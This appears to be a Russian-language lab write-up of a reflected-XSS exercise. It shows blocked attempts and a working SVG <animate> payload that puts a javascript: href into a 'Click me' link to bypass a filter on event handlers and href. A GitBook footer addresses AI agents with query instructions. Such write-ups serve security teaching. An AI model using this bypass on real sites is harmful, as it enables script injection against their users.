> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS с заблокированными событиями и атрибутами href

### Отражённый XSS с обработчиками событий и заблокированными атрибутами href

Лабораторная работа d Операция должна внедрить кликабельный элемент со словами **"Click"** (или эквивалент) и вызвать `alert()` при нажатии.

Вставьте видимый элемент со словом **Нажмите** который при щелчке пользователя выполняет `alert()` несмотря на запрет обработчиков событий и `href`.

```javascript
<script>
```

* Вставка `<script>` возвращает: *Тег не разрешён*.

<figure><img src="/files/b5867d6755fa35f716953f3c3d6b4b1571971265" alt=""><figcaption></figcaption></figure>

* У `<a>` тег принимается (например, `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/c1b79c9ce1782229cbf289c3da1234917f22a3d8" alt="" width="510"><figcaption></figcaption></figure>

У `href` атрибут отклонён — `href="JavaScript:..."` блокируется.

```javascript
<a href="javascript:alert(0);"Click me</a>
```

<figure><img src="/files/196c7e96d84c27cb988589dc7f4f5432da001d72" alt=""><figcaption></figcaption></figure>

* Элементы SVG разрешены (`<svg>` принимается).

```javascript
<svg>
```

<figure><img src="/files/8c91b04ce5ac29d2362950af80e649569e305e2f" alt="" width="563"><figcaption></figcaption></figure>

* Элементы анимации SVG (такие как `<animate>`) похоже, присутствуют и поддаются эксплуатации.

<figure><img src="/files/3ec20f32990e275822f9b7596f896ff6a7484fc5" alt=""><figcaption></figcaption></figure>

**Попытки —**

* Внедрить `<script>` → отклонено.
* Используйте `<a href="JavaScript:...">` → запрещённый атрибут.
* Обход блокировки путём сочетания элементов SVG и анимации, чтобы передать `href` значение в ссылку и тем самым попытаться выполнить `JavaScript:alert(0)` при нажатии.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>Click me!</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
